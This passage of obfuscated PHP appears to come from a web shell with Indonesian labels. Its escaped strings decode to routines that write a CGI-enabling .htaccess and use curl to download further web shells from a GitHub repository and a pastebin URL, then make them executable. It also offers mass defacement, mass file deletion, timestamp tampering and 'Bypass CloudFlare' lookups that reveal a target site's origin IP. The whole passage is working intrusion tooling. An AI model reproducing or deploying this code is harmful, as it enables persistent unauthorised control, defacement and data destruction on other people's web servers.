fopen("\56\x68\164\141\143\143\145\x73\x73", "\167"); $ch = curl_init("\150\164\x74\160\163\x3a\57\x2f\147\x69\x74\150\165\x62\56\143\x6f\x6d\57\x74\x65\156\x6e\x63\x2f\x77\x65\142\x73\x68\145\154\154\57\162\x61\167\57\x6d\x61\163\x74\x65\x72\x2f\x6e\145\x74\x2d\x66\162\x69\145\x6e\144\x2f\x63\x67\151\x2f\127\x65\x62\x53\x68\145\154\x6c\56\143\x67\x69"); $cgi = fopen($file_cgi, "\167"); curl_setopt($ch, CURLOPT_FILE, $cgi); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); fwrite($htcgi, $isi_htcgi); chmod($file_cgi, 493); chmod($memeg, 493); echo "\74\x62\162\76\x3c\x63\x65\x6e\164\145\162\76\104\x6f\156\145\40\56\x2e\56\40\x3c\141\x20\150\162\x65\x66\x3d\47\155\141\162\151\x5f\143\147\x69\x2f\x63\147\151\62\56\x58\47\40\x74\141\x72\x67\145\x74\75\x27\x5f\142\154\x61\156\x6b\x27\x3e\x4b\154\151\x6b\40\x48\x65\x72\x65\74\57\141\76"; } elseif (isset($_POST["\143\147\x69\x70\x79"])) { if (!is_dir("\x6d\141\x72\x69\137\143\147\x69")) { mkdir("\155\x61\162\151\137\x63\147\151", 493); } chdir("\155\x61\x72\151\137\143\x67\151"); $file_cgi = "\x63\147\151\160\x79\56\x58"; $memeg = "\x2e\x68\x74\x61\x63\143\145\x73\163"; $isi_htcgi = "\x4f\x50\124\111\x4f\116\123\40\x49\x6e\x64\x65\170\145\x73\x20\111\x6e\x63\x6c\165\x64\145\x73\40\x45\x78\145\143\x43\107\111\40\x46\157\154\154\157\167\123\171\155\114\151\x6e\x6b\163\40\xa\x20\101\x64\x64\x54\171\160\x65\x20\141\x70\x70\x6c\151\x63\x61\164\151\x6f\x6e\x2f\170\55\x68\164\164\x70\144\55\143\x67\151\x20\x2e\x58\40\12\x20\101\144\144\x48\x61\x6e\144\x6c\x65\x72\x20\x63\x67\151\x2d\163\x63\x72\151\160\164\x20\56\130\40\12\x20\101\x64\x64\x48\141\x6e\144\x6c\x65\162\40\143\x67\151\55\163\143\x72\x69\160\164\x20\56\130"; $htcgi = fopen("\x2e\x68\164\141\x63\x63\145\163\163", "\167"); $ch = curl_init("\150\x74\164\x70\163\72\x2f\57\x70\x61\163\164\145\x62\151\x6e\56\x63\x6f\155\57\162\x61\167\57\115\x59\171\x58\x41\x58\x79\x59"); $cgi = fopen($file_cgi, "\167"); curl_setopt($ch, CURLOPT_FILE, $cgi); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); fwrite($htcgi, $isi_htcgi); chmod($file_cgi, 493); chmod($memeg, 493); echo "\74\x62\x72\x3e\74\x63\x65\x6e\164\145\162\x3e\104\x6f\156\145\40\x2e\x2e\56\40\74\x61\40\150\x72\145\x66\x3d\47\155\141\162\151\137\x63\x67\x69\57\143\147\x69\160\x79\56\130\47\x20\x74\x61\x72\147\x65\x74\75\47\x5f\142\x6c\x61\x6e\x6b\47\x3e\x4b\154\x69\153\40\x48\145\x72\x65\74\57\x61\76"; } } elseif (isset($_GET[hex("\155\x61\x73\163\x5f\x74\x6f\x6f\x6c")])) { $dir = getcwd(); echo "\x3c\x63\x65\156\164\145\162\76"; if (isset($_POST["\x64\137\x64\151\162"])) { $dirr = $_POST["\144\x5f\144\x69\162"]; } if (isset($_POST["\163\x63\162\x69\x70\x74"])) { $index = $_POST["\163\143\162\x69\160\x74"]; $index = str_replace("\x22", "\47", $index); $index = stripslashes($index); } function edit_file($file, $index) { if (is_writable($file)) { clear_fill($file, $index); echo "\x3c\x53\x70\x61\x6e\x20\163\x74\x79\x6c\145\x3d\47\x63\157\x6c\x6f\x72\x3a\147\x72\145\145\x6e\73\47\x3e\74\x73\164\x72\x6f\156\147\76\x20\133\53\x5d\40\x4e\x79\141\x62\x75\x6e\x20\61\x30\60\45\40\x53\x75\x63\x63\145\163\x73\x66\x75\x6c\154\40\x3c\x2f\x73\164\162\x6f\156\x67\76\x3c\x2f\163\x70\x61\x6e\x3e\74\x62\162\76\x3c\57\143\145\x6e\x74\x65\162\76"; } else { echo "\x3c\123\x70\x61\x6e\x20\x73\164\171\x6c\x65\75\x27\143\157\154\157\x72\72\162\x65\144\73\47\x3e\74\x73\164\x72\157\156\147\76\x20\133\x2d\x5d\x20\x54\145\162\x6e\171\141\164\x61\40\x54\151\144\x61\x6b\40\102\x6f\154\145\x68\x20\x4d\145\x6e\x79\x61\x62\x75\156\x20\104\x69\163\x69\156\151\x20\72\50\40\x3c\x2f\x73\x74\x72\157\x6e\x67\x3e\74\x2f\x73\x70\141\x6e\76\x3c\142\162\x3e\x3c\x2f\x63\x65\x6e\164\x65\162\x3e"; } } function hapus_massal($dir, $namafile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\57{$dirb}"; $lokasi = $dirc . "\57" . $namafile; if ($dirb === "\56") { if (file_exists("{$dir}\x2f{$namafile}")) { unlink("{$dir}\x2f{$namafile}"); } } elseif ($dirb === "\56\56") { if (file_exists('' . dirname($dir) . "\57{$namafile}")) { unlink('' . dirname($dir) . "\57{$namafile}"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($lokasi)) { echo "\104\x45\x4c\105\x54\105\x44\40{$lokasi}\74\142\x72\x3e"; unlink($lokasi); $idx = hapus_massal($dirc, $namafile); } } } } } } } function clear_fill($file, $index) { if (file_exists($file)) { $handle = fopen($file, "\167"); fwrite($handle, ''); fwrite($handle, $index); fclose($handle); } } function gass_all() { global $index; $dirrall = $_POST["\144\137\144\151\162"]; foreach (ListFiles($dirrall) as $key => $file) { $file = str_replace("\x2f\57", "\x2f", $file); echo "\74\x63\x65\156\164\145\162\x3e\74\163\x74\x72\x6f\x6e\147\76{$file}\x3c\x2f\163\x74\x72\157\156\147\x3e\x20\75\x3d\x3d\76"; edit_file($file, $index); flush(); } $key = $key + 1; echo "\74\x63\145\x6e\x74\x65\162\76\x3c\x62\x72\x3e\x3c\150\63\76{$key}\40\113\141\x6c\151\x20\x41\x6e\144\x61\x20\124\145\154\x61\x68\x20\116\147\x65\143\x72\157\164\x20\x20\104\x69\x73\151\156\151\40\40\74\x2f\150\63\76\74\57\143\x65\x6e\164\x65\x72\76\74\x62\x72\76"; } function sabun_massal($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\57{$dirb}"; $lokasi = $dirc . "\x2f" . $namafile; if ($dirb === "\56") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "\56\56") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "\x5b\x3c\x66\x6f\x6e\164\x20\143\157\154\x6f\162\75\162\x65\144\x3e\x44\117\x4e\105\74\57\146\157\x6e\x74\x3e\x5d\x20{$lokasi}\74\142\x72\x3e"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc, $namafile, $isi_script); } } } } } } $lockhtaccess = implode("\x7c", $enx1); $src1 = b64dd("\x54\x33\102\x30\141\127\71\x75\x63\x79\101\x74\123\x57\65\x6b\x5a\130\150\x6c\x63\x77\157\x38\122\155\x6c\163\x5a\130\x4e\116\131\x58\x52\152\x61\103\101\x69\x4c\x69\x70\143\114\x69\x68\167\x65\130\x78\172\141\110\122\x74\142\x48\x78\x77\x61\x48\122\164\142\x48\170\167\141\110\102\70\x55\105\x68\x51\146\106\102\x6f\x63\110\x78\121\123\x48\x42\70\x63\105\150\167\x66\110\102\111\x55\x48\170\167\141\x46\102\x38\x55\x47\150\x51\x66\110\102\x6f\x63\104\x56\x38\143\x47\150\x77\116\171\153\x6b\111\152\x34\x4b\x54\x33\x4a\x6b\132\x58\111\x67\x51\x57\170\163\142\63\x63\163\122\x47\x56\165\145\x51\160\x45\x5a\127\65\65\x49\x47\x5a\x79\142\x32\x30\x67\131\x57\x78\x73\x43\152\167\x76\122\x6d\x6c\x73\x5a\130\116\116\x59\x58\122\152\141\104\x34\113\120\x45\132\x70\x62\x47\126\172\124\x57\x46\60\131\62\147\x67\x4a\x31\x34\x6f"); $src1 .= $lockhtaccess; $src1 .= b64dd("\x4b\x53\x51\x6e\x50\x67\x70\x50\143\155\x52\x6c\143\x69\102\x68\x62\x47\170\166\x64\171\x78\153\132\x57\65\x35\x43\x6b\106\x73\x62\107\x39\63\111\107\x5a\x79\x62\x32\60\147\x59\127\x78\163\103\x6a\167\x76\122\155\154\163\x5a\130\x4e\x4e\x59\x58\122\x6a\141\x44\x34\113\111\x79\102\103\x52\125\x64\112\124\147\157\x38\x53\127\x5a\x4e\142\x32\122\61\142\x47\125\147\142\127\x39\153\x58\63\112\154\144\x33\x4a\x70\x64\x47\x55\165\x59\172\x34\x4b\x55\x6d\126\63\x63\155\x6c\x30\132\x55\x56\x75\x5a\x32\154\165\132\123\x42\120\142\x67\x70\x53\x5a\x58\144\171\x61\x58\122\154\x51\155\x46\172\132\123\101\166\103\154\112\154\x64\x33\112\x70\x64\x47\126\123\144\x57\x78\154\x49\106\x35\160\x62\x6d\122\x6c\145\103\65\x77\x61\110\101\153\x49\103\x30\147\127\x30\x78\x64\103\154\112\154\x64\x33\112\x70\144\x47\126\104\142\x32\65\153\x49\103\x56\67\125\x6b\x56\x52\x56\125\x56\124\126\106\x39\107\123\x55\x78\x46\124\153\x46\x4e\122\130\60\x67\111\123\x31\155\x43\154\112\x6c\144\63\112\x70\144\x47\x56\x44\x62\x32\65\153\x49\103\126\x37\x55\153\126\122\x56\125\x56\124\x56\106\71\107\123\125\170\x46\x54\153\x46\116\122\130\x30\x67\111\x53\61\x6b\103\x6c\112\154\144\x33\x4a\x70\x64\107\x56\123\x64\127\170\154\111\103\x34\147\141\x57\x35\153\132\x58\x67\165\x63\107\x68\167\111\106\x74\115\x58\121\x6f\70\x4c\x30\154\155\x54\x57\x39\x6b\x64\x57\170\154\x50\x67\157\x6a\111\105\x56\x4f\122\x41\75\75"); if (isset($_POST["\155\x61\163\x73"]) and $_POST["\155\x61\x73\x73"] == "\150\x61\160\x75\x73\155\141\x73\x73\141\154") { hapus_massal($_POST["\x64\137\x64\151\162"], $_POST["\144\137\146\151\154\x65"]); } elseif (isset($_POST["\x6d\x61\163\x73"]) and $_POST["\155\x61\x73\163"] == "\147\x61\x6e\164\x69\x6d\141\x73\x73\141\x6c\146\151\154\x65\x64\x69\x72") { ganti_massal($_POST["\x64\x5f\x64\151\162"]); } elseif (isset($_POST["\155\141\163\163"]) and $_POST["\155\x61\x73\163"] == "\163\141\142\165\x6e\155\145\x6d\x61\x74\x69\153\x61\156") { gass_all(); } elseif (isset($_POST["\155\141\163\x73"]) and $_POST["\x6d\x61\163\163"] == "\155\141\163\163\x64\145\146\141\143\x65") { echo "\x3c\x64\151\166\x20\x73\164\x79\154\145\75\47\x6d\x61\x72\x67\151\x6e\72\x20\65\160\170\x20\x61\x75\x74\x6f\73\x20\160\141\x64\144\151\x6e\x67\x3a\40\65\x70\170\x27\76"; sabun_massal($_POST["\144\137\x64\x69\x72"], $_POST["\144\137\146\151\154\145"], $_POST["\163\143\162\x69\x70\164"]); echo "\x3c\x2f\x64\x69\166\76"; } else { echo "\x3c\150\x72\x3e\74\142\162\x3e"; echo "\12\x9\x9\11\x9\11\11\12\x9\x9\11\11\x3c\x66\x6f\x72\x6d\40\141\x63\x74\151\x6f\x6e\x3d\x27\47\x20\155\145\164\150\157\144\75\x27\x70\157\163\164\x27\x3e\xa\x9\11\x9\x9\74\146\x69\x65\154\144\163\x65\164\76\xa\xa\x9\x9\x9\11\x3c\x6c\141\142\x65\x6c\x3e\123\145\154\145\143\164\x20\124\171\160\x65\x3a\40\74\x2f\x6c\x61\x62\145\154\x3e\12\x9\x9\x9\11\12\11\x9\11\11\74\163\145\154\x65\143\x74\x20\x6e\141\x6d\145\75\47\x6d\141\163\163\x27\x20\x63\x6c\x61\x73\163\75\x27\146\157\x72\155\x2d\x63\x6f\156\164\162\x6f\154\x27\40\163\164\171\154\145\x3d\47\167\151\144\164\x68\x3a\x20\65\x35\x30\x70\x78\x3b\x20\150\145\151\147\x68\x74\x3a\x20\x34\60\x70\170\73\47\76\12\x9\11\11\x9\74\157\x70\x74\151\x6f\x6e\x20\x76\x61\154\165\145\75\47\155\x61\x73\163\x64\145\146\141\x63\x65\47\76\x4d\x61\163\x73\x20\x44\x65\x66\141\x63\x65\40\101\x4c\114\x20\104\x69\162\x3c\x2f\157\160\164\151\157\x6e\76\12\x9\11\11\x9\74\157\160\164\x69\x6f\156\x20\166\x61\x6c\x75\x65\x3d\x27\163\141\142\x75\x6e\x6d\145\155\x61\164\x69\153\x61\x6e\x27\x3e\115\141\163\x73\40\104\x65\146\141\x63\x65\x20\101\154\x6c\40\106\x69\154\x65\163\74\57\x6f\160\164\151\157\156\76\12\x9\11\x9\11\74\x6f\x70\164\151\x6f\156\40\x76\x61\x6c\x75\x65\75\x27\x68\141\160\165\163\x6d\141\163\163\141\x6c\47\x3e\115\141\163\x73\x20\104\145\154\x65\164\x65\x20\106\151\x6c\x65\x73\74\x2f\x6f\x70\164\151\157\x6e\76\12\11\x9\11\11\74\157\x70\x74\x69\x6f\156\40\166\141\154\x75\x65\75\47\147\141\156\164\x69\155\141\163\163\x61\154\146\151\154\145\144\x69\x72\x27\40\x73\145\154\145\x63\164\x65\x64\76\x4d\141\x73\x73\x20\x47\x61\156\x74\x69\x20\x57\141\x6b\164\x75\40\106\x69\154\x65\x73\x20\x64\x61\156\40\x44\151\x72\145\143\x74\x6f\x72\171\x3c\57\x6f\160\x74\151\x6f\x6e\76\x3c\57\163\145\x6c\x65\143\164\x3e\x3c\x62\x72\x3e\12\11\x9\x9\x9\x3c\x6c\141\x62\x65\154\76\x46\x6f\x6c\144\145\x72\x3a\x3c\x2f\154\x61\142\145\154\x3e\12\11\x9\x9\x9\x3c\151\x6e\160\x75\164\x20\164\x79\x70\145\x3d\x27\x74\x65\x78\x74\47\40\x6e\141\x6d\145\75\x27\144\x5f\x64\151\162\x27\40\x76\x61\154\x75\145\x3d\47{$dir}\47\40\x63\x6c\x61\163\163\x3d\x27\x66\157\x72\155\x2d\x63\157\x6e\x74\162\157\154\x27\40\163\164\x79\154\x65\x3d\x27\167\x69\x64\x74\x68\72\40\x34\65\60\160\170\x3b\x27\x20\x68\145\151\147\x68\x74\75\47\x31\60\47\x3e\x3c\x62\x72\76\12\x9\x9\11\11\x3c\154\x61\142\145\154\x3e\x46\151\x6c\x65\156\141\x6d\145\x3a\74\x2f\154\141\142\145\x6c\76\12\11\11\11\11\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\160\145\75\x27\164\x65\x78\164\x27\x20\156\141\x6d\x65\75\x27\x64\137\x66\151\154\145\x27\x20\166\x61\x6c\165\x65\75\x27\56\150\x74\141\x63\x63\145\163\x73\47\x20\x63\154\141\x73\163\x3d\47\x66\157\x72\x6d\55\x63\x6f\156\x74\162\x6f\154\47\x20\163\x74\x79\x6c\x65\x3d\x27\x77\x69\144\164\150\72\x20\x34\65\x30\x70\170\73\x27\x20\150\x65\151\x67\x68\164\x3d\47\61\x30\47\x3e\x3c\x62\x72\x3e\12\11\x9\11\x9\74\x6c\141\142\145\154\x3e\111\156\x64\x65\170\x20\106\x69\154\x65\72\x3c\x2f\154\x61\x62\x65\154\76\12\x9\11\x9\x9\74\x74\x65\170\164\141\162\x65\141\x20\143\x6c\141\163\x73\75\x27\146\x6f\162\155\55\x63\157\x6e\164\x72\157\154\x27\x20\156\x61\155\145\75\47\x73\x63\x72\151\x70\164\47\40\x73\x74\x79\x6c\x65\75\x27\x77\x69\x64\164\x68\x3a\40\65\65\60\x70\x78\73\x20\x68\145\151\147\x68\164\72\40\x33\x30\x30\x70\x78\73\47\x3e"; echo $src1; echo "\x3c\57\164\145\170\164\x61\162\145\141\76\x3c\142\162\x3e\xa\x9\11\11\11\x3c\151\156\160\x75\164\x20\x63\x6c\x61\x73\163\75\47\x66\x6f\162\x6d\55\x63\x6f\x6e\164\162\x6f\x6c\47\40\x74\171\160\x65\75\47\x73\165\x62\x6d\x69\x74\47\40\156\x61\155\x65\75\47\163\164\x61\x72\x74\47\x20\166\141\x6c\x75\145\75\x27\104\157\x20\151\x74\41\47\40\x73\164\171\154\x65\x3d\x27\x77\x69\x64\164\x68\x3a\x20\64\x35\60\160\170\73\47\x3e\12\11\x9\x9\11\74\x2f\x66\157\x72\x6d\x3e\x3c\x6c\x65\147\145\x6e\x64\x3e\106\151\x65\154\x64\x20\154\x61\151\x6e\x20\x42\x65\x72\x66\x75\156\147\163\x69\x20\113\x65\143\165\x61\154\x69\40\x70\x61\144\141\x20\115\141\x73\163\40\107\x61\156\x74\151\40\x57\x61\153\164\165\40\106\x69\x6c\x65\163\40\144\141\156\x20\104\151\x72\145\143\164\157\x72\171\x3c\x2f\154\145\x67\x65\x6e\144\76\74\57\143\145\x6e\x74\x65\162\76\74\x2f\146\x69\x65\x6c\144\x73\145\164\x3e"; } } elseif (isset($_GET[hex("\142\x79\160\x61\163\163")])) { echo "\74\150\162\x3e\74\142\162\x3e"; echo "\74\143\x65\x6e\164\x65\162\x3e\74\x68\62\x3e\x42\x79\160\141\x73\x73\x65\x72\x20\131\74\57\150\x32\76\74\x2f\143\145\x6e\x74\145\162\76\x3c\x62\162\x3e"; echo "\x3c\x66\x6f\162\x6d\x20\x6d\x65\x74\x68\157\144\40\75\x20\x27\120\117\x53\124\47\76\xa\x9\11\x9\x9\11\11\74\144\x69\166\40\x63\154\141\163\x73\40\75\x20\47\162\x6f\x77\x20\143\154\x65\141\162\x66\151\170\47\x3e\xa\11\x9\x9\11\x9\x9\x3c\x64\x69\x76\x20\143\154\141\163\163\40\75\40\47\x63\x6f\x6c\x2d\155\144\55\63\47\x3e\12\11\x9\x9\x9\11\11\x3c\141\40\x63\154\x61\x73\163\x20\75\x20\x27\x66\157\x72\x6d\x2d\143\x6f\156\164\162\x6f\x6c\x20\141\152\170\x27\40\150\162\x65\x66\40\75\x20\x27\77\144\x3d" . hex($d) . "\x26" . hex("\142\171\160\141\x73\x73\55\x63\146") . "\x27\x20\x73\164\x79\x6c\x65\x3d\47\167\151\x64\164\x68\x3a\40\x32\65\60\160\170\73\x27\x20\150\145\x69\147\150\x74\75\47\x31\x30\x27\76\74\143\145\x6e\x74\145\x72\76\102\x79\160\141\163\163\40\x43\154\157\x75\x64\x46\x6c\x61\x72\x65\74\x2f\x63\x65\x6e\164\145\x72\x3e\74\x2f\x61\76\12\11\11\11\x9\11\11\x3c\57\x64\151\x76\x3e\xa\11\11\11\11\11\x9\x3c\x64\151\166\x20\143\154\x61\163\x73\x20\75\x20\47\143\x6f\x6c\55\155\x64\55\63\x27\76\12\11\11\x9\x9\x9\11\x3c\x61\40\x63\154\x61\x73\x73\40\x3d\x20\x27\x66\x6f\162\x6d\55\x63\x6f\156\164\x72\x6f\154\x20\141\x6a\170\x27\40\x68\x72\145\146\40\x3d\40\x27\x3f\144\75" . hex($d) . "\46" . hex("\142\171\160\x61\163\x73\x2d\163\145\x72\166\145\x72") . "\47\40\x73\x74\171\154\145\75\x27\167\x69\x64\164\150\72\x20\x32\65\x30\160\170\x3b\47\x20\x68\x65\151\147\x68\164\75\47\x31\x30\x27\76\74\x63\x65\x6e\164\x65\162\76\x42\171\x70\x61\x73\x73\40\x53\145\x72\166\x65\x72\74\57\143\145\x6e\x74\x65\162\x3e\x3c\x2f\x61\x3e\xa\x9\x9\x9\11\11\11\x3c\57\144\x69\x76\x3e\xa\x9\11\x9\x9\11\11\x3c\144\x69\166\40\143\x6c\141\x73\x73\40\75\40\x27\x63\x6f\x6c\55\x6d\x64\x2d\63\x27\76\12\11\x9\11\11\x9\11\74\x61\40\143\x6c\141\x73\163\40\75\x20\47\146\157\x72\155\x2d\x63\157\156\x74\162\x6f\154\40\x61\152\x78\x27\40\150\162\145\x66\40\75\40\47\77\x64\x3d" . hex($d) . "\46" . hex("\x62\171\160\x61\163\163\x2d\x76\150\157\x73\x74") . "\x27\x20\163\164\x79\x6c\145\x3d\47\x77\x69\144\164\x68\x3a\40\62\x35\x30\160\170\x3b\47\40\x68\x65\x69\x67\150\x74\x3d\47\61\60\x27\x3e\74\143\145\156\164\145\162\x3e\102\171\x70\141\x73\163\40\x56\x68\157\163\x74\x3c\x2f\x63\145\156\x74\145\162\76\x3c\57\x61\x3e\xa\x9\11\11\11\11\x9\74\x2f\144\x69\166\x3e\xa\11\11\x9\11\x9\11\74\x64\x69\x76\40\143\x6c\141\163\163\x20\x3d\40\47\143\157\154\55\x6d\144\x2d\63\x27\76\xa\x9\11\x9\11\11\11\x3c\x61\40\x63\x6c\x61\163\x73\x20\75\x20\47\x66\x6f\162\155\55\x63\x6f\156\x74\x72\x6f\154\40\x61\152\170\47\x20\150\162\x65\146\x20\x3d\40\x27\77\144\75" . hex($d) . "\x26" . hex("\142\x79\x70\141\163\163\x2d\160\x61\163\x73\167\144") . "\47\40\x73\164\x79\154\x65\x3d\47\167\151\x64\x74\150\x3a\40\x32\65\x30\x70\x78\x3b\x27\40\x68\145\151\147\x68\x74\75\47\x31\60\x27\x3e\x3c\143\x65\156\x74\145\162\x3e\x23\43\x23\43\74\57\x63\145\156\164\145\x72\x3e\x3c\57\141\76\xa\11\11\11\11\11\x9\x3c\57\x64\x69\166\x3e\xa\11\11\x9\x9\11\x9\74\x2f\x64\151\x76\x3e\x3c\57\146\x6f\162\x6d\76"; echo "\74\150\x72\x3e"; } elseif (isset($_GET[hex("\142\171\x70\x61\x73\163\x2d\143\x66")])) { echo "\12\11\x9\11\x9\74\x62\162\76\74\x62\x72\76\x3c\143\145\156\x74\x65\x72\76\74\150\162\x3e\12\11\x9\x9\11\x3c\146\157\162\x6d\40\x6d\x65\164\150\x6f\144\x3d\42\120\x4f\123\124\x22\76\12\x9\x9\11\11\74\150\62\x3e\102\x79\160\141\x73\x73\40\103\x6c\157\x75\144\106\154\x61\x72\145\x20\131\x3c\57\x68\x32\x3e\xa\11\x9\x9\x9\x3c\144\151\x76\40\143\154\x61\x73\163\40\x3d\x20\x22\x72\x6f\167\40\x63\x6c\x65\x61\x72\x66\x69\170\x22\x3e\xa\x9\11\x9\x9\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\75\40\x22\143\x6f\154\55\x6d\x64\55\64\x22\76\12\11\x9\11\x9\74\x73\145\x6c\x65\143\x74\40\143\x6c\x61\163\163\x3d\42\146\157\162\155\x2d\143\x6f\x6e\164\x72\157\x6c\42\40\156\141\155\x65\75\x22\153\x72\x7a\42\76\xa\11\11\x9\x9\11\74\x6f\160\x74\151\x6f\156\76\146\x74\160\x3c\x2f\157\x70\x74\151\x6f\156\x3e\xa\11\11\11\11\x9\11\74\x6f\x70\164\x69\x6f\x6e\76\x64\151\x72\145\x63\164\55\x63\157\156\x6e\164\x65\x63\164\74\57\157\160\x74\x69\157\156\76\xa\11\11\11\x9\11\11\x9\x3c\x6f\160\x74\x69\x6f\156\x3e\x77\145\142\155\141\x69\154\74\x2f\x6f\x70\164\x69\x6f\156\76\12\x9\11\x9\x9\11\11\11\11\74\x6f\160\164\151\157\156\76\143\160\x61\x6e\145\154\74\x2f\157\x70\x74\151\157\156\76\12\x9\x9\11\11\74\57\x73\145\154\145\143\164\x3e\xa\11\11\x9\x9\74\x2f\x64\151\x76\x3e\xa\11\11\x9\11\74\144\151\x76\x20\143\x6c\141\x73\x73\x20\75\40\x22\143\x6f\154\x2d\x6d\144\x2d\x34\42\76\12\x9\x9\11\x9\x3c\x69\x6e\160\x75\x74\40\x63\x6c\141\x73\x73\75\x22\x66\x6f\x72\155\55\x63\x6f\156\164\162\157\154\x22\x20\x74\x79\160\145\75\42\x74\x65\x78\164\x22\x20\x6e\x61\x6d\x65\x3d\x22\164\141\162\147\145\x74\x22\x20\x76\x61\x6c\165\x65\75\x22\165\x72\x6c\42\x3e\12\11\x9\11\x9\x3c\x2f\x64\x69\x76\x3e\12\11\11\x9\x9\x3c\x64\151\166\x20\143\x6c\141\x73\163\40\x3d\40\42\143\157\154\x2d\155\144\x2d\64\x22\76\xa\11\11\11\11\74\151\156\x70\165\x74\40\143\154\141\x73\163\x3d\x22\146\157\x72\155\x2d\x63\157\x6e\x74\162\x6f\154\x22\x20\x74\171\160\145\75\42\163\x75\x62\155\151\x74\x22\40\166\x61\x6c\165\145\x3d\42\x42\171\x70\x61\x73\163\42\x3e\xa\x9\11\11\11\x3c\57\x64\151\x76\x3e\12\11\x9\x9\11\74\x2f\x64\x69\x76\76\xa\11\x9\11\11\x3c\57\143\145\x6e\x74\x65\162\76\12\11\11\11\11\74\150\162\76\74\142\162\76\12\11\x9\11\11\x3c\x2f\146\x6f\162\155\x3e\12\11\11\x9\x9\12\11\x9\11\11"; if (isset($_POST["\164\141\x72\x67\145\x74"])) { $target = $_POST["\164\x61\x72\147\145\x74"]; if ($_POST["\x6b\x72\x7a"] == "\x66\x74\160") { $ftp = gethostbyname("\x66\x74\x70\x2e" . "{$target}"); echo "\74\x62\x72\76\74\x70\x20\141\154\151\147\156\x3d\47\x63\x65\x6e\164\x65\x72\x27\40\144\151\162\x3d\47\x6c\164\x72\x27\76\74\x66\157\156\x74\x20\146\x61\x63\x65\75\x27\x54\141\150\x6f\x6d\x61\x27\x20\163\151\172\145\75\x27\62\x27\40\x63\157\x6c\157\162\75\x27\x77\x68\x69\164\x65\x27\76\103\x6f\x72\162\x65\143\x74\40\xa\x9\x9\11\x9\x9\11\11\x69\x70\40\151\163\40\x3a\x20\74\57\146\x6f\156\164\76\x3c\x66\157\x6e\164\x20\x66\141\x63\145\x3d\x27\x54\x61\150\x6f\x6d\141\47\x20\163\x69\x7a\x65\75\x27\x32\47\x20\x63\157\x6c\x6f\x72\x3d\47\43\x46\66\70\x42\61\106\47\76{$ftp}\74\x2f\x66\157\x6e\164\76\74\57\160\76"; } if ($_POST["\x6b\162\172"] == "\x64\151\x72\145\143\x74\55\143\x6f\x6e\x6e\164\145\x63\x74") { $direct = gethostbyname("\x64\151\162\145\143\x74\55\143\157\x6e\156\145\143\164\x2e" . "{$target}"); echo "\x3c\142\162\76\74\x70\40\141\154\x69\x67\x6e\75\47\143\x65\156\164\145\x72\x27\x20\144\x69\162\x3d\47\x6c\164\162\47\x3e\x3c\x66\157\x6e\x74\40\x66\x61\143\145\75\47\x54\141\x68\x6f\x6d\141\47\40\163\x69\x7a\145\x3d\x27\62\x27\x20\143\x6f\x6c\157\x72\75\x27\167\150\151\x74\145\47\76\103\157\x72\x72\x65\x63\x74\40\xa\x9\11\x9\11\11\11\x9\x69\x70\40\151\163\x20\x3a\40\x3c\57\146\x6f\156\x74\x3e\74\x66\157\x6e\x74\x20\x66\141\143\x65\75\x27\124\x61\x68\157\x6d\141\x27\x20\163\x69\172\x65\75\x27\62\x27\x20\143\157\154\x6f\x72\75\x27\x23\106\x36\x38\102\61\x46\x27\x3e{$direct}\74\57\x66\157\156\164\76\x3c\x2f\160\76"; } if ($_POST["\153\x72\172"] == "\167\x65\x62\155\141\x69\x6c") { $web = gethostbyname("\x77\x65\x62\x6d\141\x69\154\x2e" . "{$target}"); echo "\x3c\142\162\x3e\x3c\160\x20\141\x6c\x69\x67\156\75\x27\x63\x65\156\x74\x65\162\47\x20\x64\x69\x72\75\47\154\164\x72\x27\76\x3c\x66\157\x6e\x74\x20\x66\x61\143\x65\75\x27\124\141\x68\x6f\x6d\141\47\40\163\x69\x7a\145\75\47\62\x27\x20\x63\x6f\154\157\162\75\x27\167\x68\x69\x74\145\x27\76\x43\157\x72\x72\x65\x63\x74\x20\12\x9\11\11\11\x9\x9\11\151\x70\40\151\x73\x20\x3a\x20\x3c\57\146\157\156\x74\x3e\x3c\x66\x6f\156\x74\x20\146\141\143\x65\x3d\x27\x54\x61\150\x6f\x6d\141\47\x20\x73\x69\172\x65\x3d\x27\x32\47\x20\x63\157\154\157\162\x3d\x27\x23\x46\x36\70\x42\61\106\47\x3e{$web}\x3c\x2f\x66\157\x6e\164\76\74\x2f\160\76"; } if ($_POST["\x6b\162\172"] == "\x63\x70\x61\x6e\145\154") { $cpanel = gethostbyname("\x63\x70\x61\156\x65\x6c\x2e" . "{$target}"); echo "\74\142\x72\76\74\x70\x20\x61\154\x69\x67\x6e\x3d\x27\x63\x65\156\x74\x65\162\x27\x20\x64\x69\162\75\x27\x6c\x74\x72\x27\76\x3c\x66\x6f\156\x74\40\146\141\143\145\75\x27\x54\x61\x68\157\x6d\x61\47\40\x73\151\x7a\145\x3d\47\x32\x27\40\143\x6f\154\157\162\x3d\47\167\x68\x69\x74\145\x27\76\103\157\162\162\x65\143\164\x20\12\11\x9\11\x9\11\11\11\151\x70\40\151\163\x20\x3a\40\74\57\146\x6f\156\x74\x3e\74\x66\x6f\x6e\164\x20\146\x61\143\x65\x3d\47\124\x61\x68\157\x6d\141\x27\40\163\x69\x7a\x65\x3d\x27\62\47\40\143\x6f\x6c\157\x72\x3d\x27\43\106\x36\70\102\x31\x46\x27\76{$cpanel}\74\x2f\x66\157\156\x74\76\74\x2f\160\76"; } } } elseif (isset($_GET[hex("\142\x79\160\141\x73\x73\55\x73\145\162\x76\145\162")])) { echo "\x3c\146\x6f\162\155\x20\141\x63\x74\x69\x6f\156\75\42\x3f\x64\151\x72\75" . $dir . 